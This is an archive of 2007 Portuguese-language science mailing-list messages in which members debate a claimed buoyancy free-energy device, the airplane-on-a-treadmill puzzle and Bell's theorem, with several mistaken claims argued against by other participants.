> Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date:
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> Checked by AVG Free Edition.
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13/4/2007
> 20:04
>




SUBJECT: Re: A energia da flutuação
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 16:46

Olá pessoal

Essa "gambiarra" é absolutamente absurda..:-) Além de todas as
questões já apresentadas como refutação, ela é evidentemente uma
tolice sem pé nem cabeça!

É claro que é possível gerar energia usando o peso para fazer girar o
dínamo, a primeira parte do processo. E é claro que algo pode "boiar"
até a superfície de um líquido, a segunda parte.

Afinal, é mais ou menos isso que é uma hidro-elétrica, que usa o peso
da água para girar o dínamo, e usa o calor do Sol para fazer a água
"boiar" de volta em forma de vapor e chuva para o reservatório.

Mas é claro que se gasta enorme energia para trazer a água de volta ao
reservatório.

Mais que um aparelho com problemas de finalização (como "tirar" a bóia
do alto da coluna de água SEM perder a coluna no processo), este
aparelho é apenas tolo. Toda vez que a "bóia" for retirada, alguma
energia deve ser consumida para "completar" a coluna de água, isso se
for possível impedir o esvaziamento da coluna!

Que diabos, isso deve ter sido criado, inclusive o filminho, para
conseguir grana de "investidores", que vão ser lesados no final, como
em todo moto perpétuo..:-(

Um abraço.

Homero








--- Em ciencialist@yahoogrupos.com.br, Lourenço <listaslou@...> escreveu
>
> Tem só uma coisa que ninguem lembrou, a água não ficaria no tubo,
ele é aberto em cima e em baixo, então a água não para, ela escoa toda.
>
>
> Até.
>
> Lourenço.
>
> listaslou@...
>
>
>
>
> ----- Original Message -----
> From: Silvio Cordeiro
> To: ciencialist@yahoogrupos.com.br
> Sent: Saturday, April 14, 2007 10:43 PM
> Subject: Re: [ciencialist] A energia da flutuação
>
>
> Ô Tipo:
> pra mim, o peso do equipamento e a entrada da água se não for por
gravidade (o que gasta tubulação) será bombeada. Essa gambiarra não
acende nem lanterna: se a boia abarra na abertura inferior da torre,
ocorre um desaranjo em todo o sistema por falta de constância no
acionamento do gerador.
> Acredito que um bom eng. eletricista explica isso melhor.
>
> sds.,
>
> silvio
> ----- Original Message -----
> From: Tipoalgo
> To: ciencialist@yahoogrupos.com.br
> Sent: Saturday, April 14, 2007 6:03 PM
> Subject: [ciencialist] A energia da flutuação
>
> Olá a todos,
>
> Pergunto aos mestres: O que há de errado?
>
> Podemos ter extra energia útil com esta idéia:
>
> http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=
>
> Agora estou novamente em dúvida.
>
> Socorro Professor!
>
> Se já apareceu por aqui, desculpem-me.
>
> Abraços
>
> Tipoalgo
>
> ----------------------------------------------------------
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 269.4.0/761 - Release Date:
14/4/2007 21:36
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: RE: [ciencialist] Re: A energia da flutuação
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 20:18

Minha gente,
o cara está INVENTANDO e imaginando!
Vcs sabem o que é isso?
Já experimentaram?
Não inventa quem quer, a invenção é inevitável... é uma luta violenta!
Não pode haver sensura prévia e há que haver experimentação!
Será que não dá para apreciar a BOA IDÉIA do mecanismo?
Os flutuantes são muitos e preecherão todo o tubo vertical de água. Imaginem
o ''potencial'' da queda e a ''pressão'' total da subida!!!
A água será expulsa para algum lugar, certo?
Com um jogo de duas válvulas... Também não é difícil de se imaginar *uma
outra coluna paralela* só para conter o volume excedente, como um vaso
comunicante...
Quanto vai ''custar'' abrir e fechar válvulas e repor alguma água? Que tipo
de válvulas? Tem que experimentar e pensar. Trata-se de algo em processo de
criação, pô!
Mais fácil é ridicularisar e censurar de longe.
Boa noite... fica bonzinho e bonitinho aí no seu mundinho seguro...
abr/Muliro Silva SP 15/abr07


>From: José Carlos Antonio <profjc2003@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: A energia da flutuação
>Date: Sun, 15 Apr 2007 06:09:27 -0000
>
>Meu japonês é péssimo, mas energia "extra", do tipo "grátis",
>contraria o que sabemos sobre os princípios de conservação.
>
>Abraços,
>JC
>
>
>
>
>--- Em ciencialist@yahoogrupos.com.br, "Tipoalgo" <tipoalgo@...> escreveu
> >
> > Olá a todos,
> >
> > Pergunto aos mestres: O que há de errado?
> >
> > Podemos ter extra energia útil com esta idéia:
> >
> > http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=
> >
> > Agora estou novamente em dúvida.
> >
> > Socorro Professor!
> >
> > Se já apareceu por aqui, desculpem-me.
> >
> > Abraços
> >
> > Tipoalgo
> >
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Re: A energia da flutuação
FROM: Lourenço <listaslou@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 20:35

Me desculpa, mas invenção é uma coisa, e mentira é outra, tente encher uma mangueira de água e segurá-la na vertical, sem deixar a água sair.


Até.

Lourenço.

listaslou@yahoo.com.br




----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 15, 2007 8:18 PM
Subject: RE: [ciencialist] Re: A energia da flutuação


Minha gente,
o cara está INVENTANDO e imaginando!
Vcs sabem o que é isso?
Já experimentaram?
Não inventa quem quer, a invenção é inevitável... é uma luta violenta!
Não pode haver sensura prévia e há que haver experimentação!
Será que não dá para apreciar a BOA IDÉIA do mecanismo?
Os flutuantes são muitos e preecherão todo o tubo vertical de água. Imaginem
o ''potencial'' da queda e a ''pressão'' total da subida!!!
A água será expulsa para algum lugar, certo?
Com um jogo de duas válvulas... Também não é difícil de se imaginar *uma
outra coluna paralela* só para conter o volume excedente, como um vaso
comunicante...
Quanto vai ''custar'' abrir e fechar válvulas e repor alguma água? Que tipo
de válvulas? Tem que experimentar e pensar. Trata-se de algo em processo de
criação, pô!
Mais fácil é ridicularisar e censurar de longe.
Boa noite... fica bonzinho e bonitinho aí no seu mundinho seguro...
abr/Muliro Silva SP 15/abr07

>From: José Carlos Antonio <profjc2003@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: A energia da flutuação
>Date: Sun, 15 Apr 2007 06:09:27 -0000
>
>Meu japonês é péssimo, mas energia "extra", do tipo "grátis",
>contraria o que sabemos sobre os princípios de conservação.
>
>Abraços,
>JC
>
>
>
>
>--- Em ciencialist@yahoogrupos.com.br, "Tipoalgo" <tipoalgo@...> escreveu
> >
> > Olá a todos,
> >
> > Pergunto aos mestres: O que há de errado?
> >
> > Podemos ter extra energia útil com esta idéia:
> >
> > http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=
> >
> > Agora estou novamente em dúvida.
> >
> > Socorro Professor!
> >
> > Se já apareceu por aqui, desculpem-me.
> >
> > Abraços
> >
> > Tipoalgo
> >
>
>
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>##### ##### #####
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>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 22:59

Eu proponho a exclusão dessa discussão inútil. Vamos poupar os bytes
da C-List.

Abraços,
Prof. JC




SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 23:25

Olá, Homero! Procuro esclarecer as questões que ainda apresentam dificuldade
de compreensão, conforme são apresentadas no texto do seu e-mail abaixo,
após JR -, OK?
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 3:00 PM
Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Olá Jose Renato

Eu quase resisti, e deixei sua mensagem, errada como sempre, de
lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.

Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
tivesse acelerado simultaneamente com a esteira - conforme o enunciado
do problema - ele teria percorrido sobre a esteira os mesmos 1000
metros à direita. Isto é, continuaria posicionado no ponto 0 no
solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
ar que o circunda. É como se estivesse estacionado no ponto 0 no
solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
quando levado por um furação."

Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
quase fanática, isso deve explicar seu problema com a esteira. Você
'acredita" que a esteira pode, de alguma forma mágica, influenciar o
avião. E ao "encontrar" esta resposta primeira, não consegue mais
abandona-la, devido a fé que tem nela. [ ... ]
JR - O que é demais? O que a fé tem a ver com a questão do avião? Tente ser
objetivo e específico.

[ ... ] Você AINDA está pensando que as RODAS do avião é que o fazem se
mover, está pensando em "PERCORRER" mil metros SOBRE a esteira, quando ele
iria , não importa o referencial, percorrer mil metros em relação ao ar e
chão, e 2000 em relação a esteira, não importa como meça isso!
JR - Não é isso que eu escrevi, nem é isso o que eu penso. Mostre-me onde na
minha explanação menciono as rodas do avião. O avião transportado pela
esteira e é impulcionado pelas turbinas... Não falo em rodas.

Vou tentar assim mesmo, quem sabe vê "a luz"..:-)

Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
exemplo, ele se encontra a mil metros do local inicial, para onde foi
levado pela "esteira". Como está o avião neste momento, Renato?
Se está "se movendo", para tras, então as turbinas vão ter de lutar
contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
tras, então está, em relação ao chão e ao ar, se MOVENDO e *precisa
primeiro vencer esse movimento antes de começar a se mover para frente*.
JR - Seu raciocínio está considerando um ponto de referência no solo-terra.
Se vc considerar o ponto de referencia na pista-esteira o avião começa a se
deslocar para frente *na esteira* por menor que seja esse deslocamento
*sobre a esteira*. Nesse caso, quando o avião atingir a velocidade igual a
da esteira, em sentido contrário, ele estará parado em relação ao solo-terra
e ao ar que o circunda.

Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
se referem ao movimento do avião, e NÃO a esteira. Não é esta que
impede a decolagem mas o MOVIMENTO do avião para tras. [ ... ]
JR - A esteira não é irrelevante, é parte fundamental do problema. Tente
visualizar um avião decolando numa pista. Nesse caso, consideramos que a
pista esta "parada" e só o avião se move. Agora considere que essa pista
está se movendo em sentido contrário ao do avião. Tente raciocinar em cima
disso...

[ ... ] Tente imaginar um ônibus espacial em órbita. Ele SE MOVE a 27 mil
quilômetros por hora e POR ISSO não cai na Terra. Ele não está suspenso em
órbita, mas a uma enorme velocidade, que permite que a 'curva" de queda seja
igual a curva da Terra.
Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
uma curvatura MENOR que a curvatura da Terra.
JR - Nada a ver...

Volte a esteira. Se mover o avião para tras, com qualquer força, por
exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
movimento antes de começar a se mover para frente.
JR - Digressões desnecessárias. As forças principais são fornecidas por
motores para movimentar a esteira e pelas as turbinas para movimentar o
avião. E bastam.

O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
a esteira se move a velocidade do avião, em sentido contrário. Isso
causa apenas a rolagem das rodas em velocidade dobrada, nada mais.
JR - Aqui vc está considerando um ponto de referencia no solo-terra. Neste
esquema estamos de acordo.

Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
movimento para tras e depois começar a andar para frente, em relação
ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
TRAS!!!
JR - Continua considerando um ponto de referência no solo-terra. Tente
pensar o que ocorre quando o avião aciona as turbinas e começa a se deslocar
*na mesma velocidade do trem* em sentido contrário!?

Como a esteira do enunciado nunca conseguira mover o avião para tras,
ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.
JR - JR - Nunca é muito tempo, Homero! Um pacote, uma mala ou um avião podem
ser transportadom por uma esteira em movimento, sim. Vc está confundindo as
duas soluções... Acima - quando considera o ponto de ref no solo-terra -
afirma que precisa vencer o movimento do trem para *começar a se deslocar
para frente* e agora não precisa mais. Por que? Não há dúvidas que em ambas
as soluções o avião está sujeito ao movimento da esteira que tem *a mesma
velocidade dele* em sentido contrário. Observe que, quando utilizamos um
ponto de ref no solo-terra, a velocidade do avião em relação à esteira é *o
dobro da velocidade* da esteira em relação ao pto de ref no solo-terra.

Esta é minha última tentativa, Renato, depois fica por sua conta
vencer sua fé cega e finalmente entender seu erro no problema.

Homero

Abraços

José Renato
.........................
--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Prof. José Carlos!
>
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> Usualmente, consideramos que a Terra está "fixa". Sua superfície
está sempre
> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação,
> translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto
> imaginário entre as constelações de Hércules e Balança. Entretanto,
para um
> cálculo de trajetórias fora da superfície terrestre, como ocorre em
naves espaciais,
> já não podemos desconsiderar os principais movimentos da Terra, da
Lua, do
> Sol e dos planetas. Esse comentário inicial é para relembrar e
alertar que
> *todos os movimentos* são relativos a algum ponto de referência. A
depender
> da escolha dessa referência podemos ter várias interpretações. No
nosso caso
> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
minha
> última mensagem para continuar os esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo
> à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> 1.1 - Avião parado-estacionado e a esteira acionada
> acelerando até atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
>
> =]> avião pousado sobre a esteira com turbinas desligadas
> é carregado para trás mil metros do ponto 0 em solo-terra.
> --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado
> simultaneamente com a esteira - conforme o enunciado do problema -
ele teria
> percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
> continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
> movimentado em relação ao solo e ao ar que o circunda. É como se
estivesse
> estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
não alça
> vôo... A não ser quando levado por um furação.
>
> Caso não tenha entendido alguma passagem peço especificar.
>
> Abraços
>
> José Renato
> ..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Logo nas primeiras aulas de Física, para os primeiros colegiais da
> escola pública onde leciono, eu ensino meus alunos que parte da
> metodologia de sucesso da ciência, também chamada às vezes de
> "metodologia científica", inclui "manter-se focado no problema a ser
> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> que a única coisa que faz um avião voar é à diferença de pressão entre
> a parte de cima e de baixo das asas dele(e possivelmente de outras
> partes também, dependendo do modelo aerodinâmico), que causa uma força
> resultante para cima suficiente para elevá-lo.
>
> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> criar essa diferença de pressão e, no caso dos aviões que não usam
> propulsão por foguetes, isso se dá devido a um certo "Princípio de
> Bernoulli" e ao formato abaulado e desigual das partes superior e
> inferior das asas do avião. O Princípio de Bernoulli é um princípio
> pouco comentado na escola (mesmo nas particulares), embora seja
> riquíssimo como fonte inspiradora para se explicar centenas de
> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> razão pela qual as roupas secam mais rápido no varal em dias de vento.
> Enfim, desde que passe ar pelas asas do avião com velocidade
> suficiente para que seja gerada a força resultante capaz de elevá-lo,
> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> que, segundo a metodologia científica, não devemos incluir os vizinhos
> quando estamos pesquisando algo em nossa própria casa. :)
>
> Só para finalizar, seja lá o que for que você faça com a esteira o
> resultado será irrelevante nas condições do problema, pois a esteira
> não tem nenhuma influência sobre o movimento horizontal do avião e
> serve somente para lhe dar sustentação em terra, não influindo de
> forma alguma na velocidade com que o vento passa pelas asas do avião.
>
> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> de estudo da natureza são fundamentais para que meus alunos economizem
> seus neurônios focando-se apenas nos aspectos relevantes dos
> problemas. É claro que isso poderá limitar um pouco a criatividade
> deles, mas eu acredito que essa criatividade é melhor empregada em
> problemas originais e nas tentativas iniciais de abordagem do problema
> do que na busca de novas soluções para problemas "clássicos" já
> exaustivamente estudados e resolvidos.
>
> Ainda não sei qual foi a "outra" solução que você achou...
>
> Abraços,
> Prof. JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, não há porque se desculpar!
> >
> > Vc - e acredito que a grande maioria também - não acha a solução
que eu
> > achei desde a primeira vez que refleti sobre o problema aqui na
> lista, há
> > pelo menos dois anos.
> >
> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> solução em
> > que ele voa, o avião se deslocava com o dobro da velocidade *em
> relação à
> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> como a
> > esteira se deslocam na mesma velocidade, em sentidos contrários.
> >
> > Acredito que agora vc consiga ver o esquema que eu vejo.
> >
> > []s
> >
> > José Renato
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Friday, April 13, 2007 1:32 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
> > condições descritas do problema idealizado: o avião voa.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos!
> > >
> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > possíveis
> > > para a questão apresentada. Lembro que esse mesmo problema foi
> > apresentado
> > > há tempos na lista e no final ficaram todos dizendo que voa e
> apenas eu
> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > conseguiu
> > > entender minhas explicações.
> > >
> > > Abraços
> > >
> > > José Renato
> > > ...................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá JR,
>
> (apaguei o restante)



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 23:51

----- Original Message -----
From: "rmtakata"
Sent: Saturday, April 14, 2007 11:10 PM
Subject: [ciencialist] Re: Determinismo e incerteza

> Um cara chamado John Bell bolou um teorema matemática q previa resultados
> diferentes para ambas as situações. Décadas depois, a chamada inequação de
> Bell foi usada e o resultado dos experimentos batiam com a interpretação
> de Copenhagen.

Neste caso solicito a alguém que responda à msg que mandei para a
Ciencialist em 21 de maio de 2000 e que cujas idéias apresentadas até agora
não mereceram nenhuma atenção. A msg pode ser lida em
http://www.ecientificocultural.com/ECC2/Dialogos/varios/ci4790.htm ou em
http://br.groups.yahoo.com/group/ciencialist/message/4790 . O restante da
thread pode ser lido a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/tra.htm .

Até que tal suceda, e sem pretender ofender a ninguém, volto a apresentar a
conclusão firmada no artigo primeiro desta thread: "As idéias de Bell, em
hipótese alguma, contradizem as teorias clássicas da física e a experiência
de Aspect, quando muito, serve como critério para escolha entre o roto e o
esfarrapado, qual seja, entre as teorias quânticas locais e as teorias
quânticas não-locais."

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/04/2007 00:01

Olá Jose Renato

Renato: "Olá, Homero! Procuro esclarecer as questões que ainda
apresentam dificuldade de compreensão, conforme são apresentadas no
texto do seu e-mail abaixo, após JR -, OK?"

Por favor, não o faça. Não tente "esclarecer" nada, pois se alguém
está com problemas de compreensão, não sou eu.

Ou bem TODOS que tentaram explicar seu erro estão enganados, ou você
está enganado. Ou até os físicos que tentaram, de diversas formas,
faze-lo compreender são tolos e não entendem nada de física, ou você é
que não entende.

De toda forma, chega. Não vai, e não quer, entender, então seja feliz
com sua "crença" e pronto. Eu não aguento mais.

Tente com José Carlos, que está tentando explicar à você a questão, ou
com outro qualquer, mas eu desisto. Nunca vi ninguém tão profundamente
teimoso, Renato..:-)

O avião decola. Se não entende isso, é problema de sua visão
incorreta, não de falta de explicação de alguma coisa.

E se eu tiver de ler mais uma vez "depende do ponto de referência",
acho que vou ter um treco..:-)

Homero



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Homero! Procuro esclarecer as questões que ainda apresentam
dificuldade
> de compreensão, conforme são apresentadas no texto do seu e-mail
abaixo,
> após JR -, OK?
> ..................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 15, 2007 3:00 PM
> Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo
> nada
>
>
> Olá Jose Renato
>
> Eu quase resisti, e deixei sua mensagem, errada como sempre, de
> lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.
>
> Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
> tivesse acelerado simultaneamente com a esteira - conforme o enunciado
> do problema - ele teria percorrido sobre a esteira os mesmos 1000
> metros à direita. Isto é, continuaria posicionado no ponto 0 no
> solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
> ar que o circunda. É como se estivesse estacionado no ponto 0 no
> solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
> quando levado por um furação."
>
> Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
> mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
> quase fanática, isso deve explicar seu problema com a esteira. Você
> 'acredita" que a esteira pode, de alguma forma mágica, influenciar o
> avião. E ao "encontrar" esta resposta primeira, não consegue mais
> abandona-la, devido a fé que tem nela. [ ... ]
> JR - O que é demais? O que a fé tem a ver com a questão do avião?
Tente ser
> objetivo e específico.
>
> [ ... ] Você AINDA está pensando que as RODAS do avião é que o fazem se
> mover, está pensando em "PERCORRER" mil metros SOBRE a esteira,
quando ele
> iria , não importa o referencial, percorrer mil metros em relação ao
ar e
> chão, e 2000 em relação a esteira, não importa como meça isso!
> JR - Não é isso que eu escrevi, nem é isso o que eu penso. Mostre-me
onde na
> minha explanação menciono as rodas do avião. O avião transportado pela
> esteira e é impulcionado pelas turbinas... Não falo em rodas.
>
> Vou tentar assim mesmo, quem sabe vê "a luz"..:-)
>
> Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
> exemplo, ele se encontra a mil metros do local inicial, para onde foi
> levado pela "esteira". Como está o avião neste momento, Renato?
> Se está "se movendo", para tras, então as turbinas vão ter de lutar
> contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
> tras, então está, em relação ao chão e ao ar, se MOVENDO e *precisa
> primeiro vencer esse movimento antes de começar a se mover para frente*.
> JR - Seu raciocínio está considerando um ponto de referência no
solo-terra.
> Se vc considerar o ponto de referencia na pista-esteira o avião
começa a se
> deslocar para frente *na esteira* por menor que seja esse deslocamento
> *sobre a esteira*. Nesse caso, quando o avião atingir a velocidade
igual a
> da esteira, em sentido contrário, ele estará parado em relação ao
solo-terra
> e ao ar que o circunda.
>
> Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
> se referem ao movimento do avião, e NÃO a esteira. Não é esta que
> impede a decolagem mas o MOVIMENTO do avião para tras. [ ... ]
> JR - A esteira não é irrelevante, é parte fundamental do problema.
Tente
> visualizar um avião decolando numa pista. Nesse caso, consideramos
que a
> pista esta "parada" e só o avião se move. Agora considere que essa
pista
> está se movendo em sentido contrário ao do avião. Tente raciocinar
em cima
> disso...
>
> [ ... ] Tente imaginar um ônibus espacial em órbita. Ele SE MOVE a
27 mil
> quilômetros por hora e POR ISSO não cai na Terra. Ele não está
suspenso em
> órbita, mas a uma enorme velocidade, que permite que a 'curva" de
queda seja
> igual a curva da Terra.
> Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
> COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
> uma curvatura MENOR que a curvatura da Terra.
> JR - Nada a ver...
>
> Volte a esteira. Se mover o avião para tras, com qualquer força, por
> exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
> é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
> movimento antes de começar a se mover para frente.
> JR - Digressões desnecessárias. As forças principais são fornecidas por
> motores para movimentar a esteira e pelas as turbinas para movimentar o
> avião. E bastam.
>
> O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
> se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
> a esteira se move a velocidade do avião, em sentido contrário. Isso
> causa apenas a rolagem das rodas em velocidade dobrada, nada mais.
> JR - Aqui vc está considerando um ponto de referencia no solo-terra.
Neste
> esquema estamos de acordo.
>
> Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
> trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
> EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
> movimento para tras e depois começar a andar para frente, em relação
> ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
> DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
> TRAS!!!
> JR - Continua considerando um ponto de referência no solo-terra. Tente
> pensar o que ocorre quando o avião aciona as turbinas e começa a se
deslocar
> *na mesma velocidade do trem* em sentido contrário!?
>
> Como a esteira do enunciado nunca conseguira mover o avião para tras,
> ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.
> JR - JR - Nunca é muito tempo, Homero! Um pacote, uma mala ou um
avião podem
> ser transportadom por uma esteira em movimento, sim. Vc está
confundindo as
> duas soluções... Acima - quando considera o ponto de ref no
solo-terra -
> afirma que precisa vencer o movimento do trem para *começar a se
deslocar
> para frente* e agora não precisa mais. Por que? Não há dúvidas que
em ambas
> as soluções o avião está sujeito ao movimento da esteira que tem *a
mesma
> velocidade dele* em sentido contrário. Observe que, quando
utilizamos um
> ponto de ref no solo-terra, a velocidade do avião em relação à
esteira é *o
> dobro da velocidade* da esteira em relação ao pto de ref no solo-terra.
>
> Esta é minha última tentativa, Renato, depois fica por sua conta
> vencer sua fé cega e finalmente entender seu erro no problema.
>
> Homero
>
> Abraços
>
> José Renato
> .........................
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, Prof. José Carlos!
> >
> > Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> > Usualmente, consideramos que a Terra está "fixa". Sua superfície
> está sempre
> > no mesmo lugar. Desconsideramos todos os demais movimentos, como:
> rotação,
> > translação, nutação, precessão do equinócio e translação rumo ao
> Apex, ponto
